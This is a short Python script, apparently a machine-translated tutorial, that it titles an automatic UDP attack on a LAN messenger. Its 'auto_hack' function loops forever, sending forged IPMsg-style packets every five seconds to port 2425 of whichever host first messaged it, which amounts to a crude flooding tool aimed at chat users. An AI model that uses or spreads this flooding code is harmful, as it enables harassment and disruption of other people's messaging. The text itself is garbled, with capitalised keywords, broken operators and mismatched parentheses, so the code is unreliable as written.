# Simulate a Receive data
Import socket
Import time
def auto_hack (Udp_socket, Recv_msg, Revc_ip, revc_port=2425):
# Send data
While True:
Print ('-' * 65) # Test
# Udp_socket.sendto (Recv_msg.encode ("Utf-8"), (Revc_ip, Revc_port))
Udp_socket.sendto (' 1:123456:hades:hades:32:%s '% (recv_msg)). Encode (' Utf-8 '), (Revc_ip, Revc_port))
Time.sleep (5)
def main ():
"" "Initialize" "
# Create a UDP socket
Udp_socket = Socket.socket (socket.af_inet, socket. SOCK_DGRAM)
# Binding of ports
Udp_socket.bind (("", 8989))
While True:
# Waiting for data to be received
Recv_data = Udp_socket.recvfrom (1024)
# Messages Received
Recv_msg = Recv_data[0].decode ("Utf-8")
If recv_msg! = None:
Print (Recv_data)
Break
Revc_ip_port = recv_data[1]
# Data splitting of IP and ports
Print (1111)
REVC_IP = revc_ip_port[0]
revc_port = Int (revc_ip_port[1])
Auto_hack (Udp_socket, recv_msg, REVC_IP)
# Auto_hack (Udp_socket)
if __name__ = = ' __main__ ':
Main ()
Python_ Network programming udp-automatic attack on the flying autumn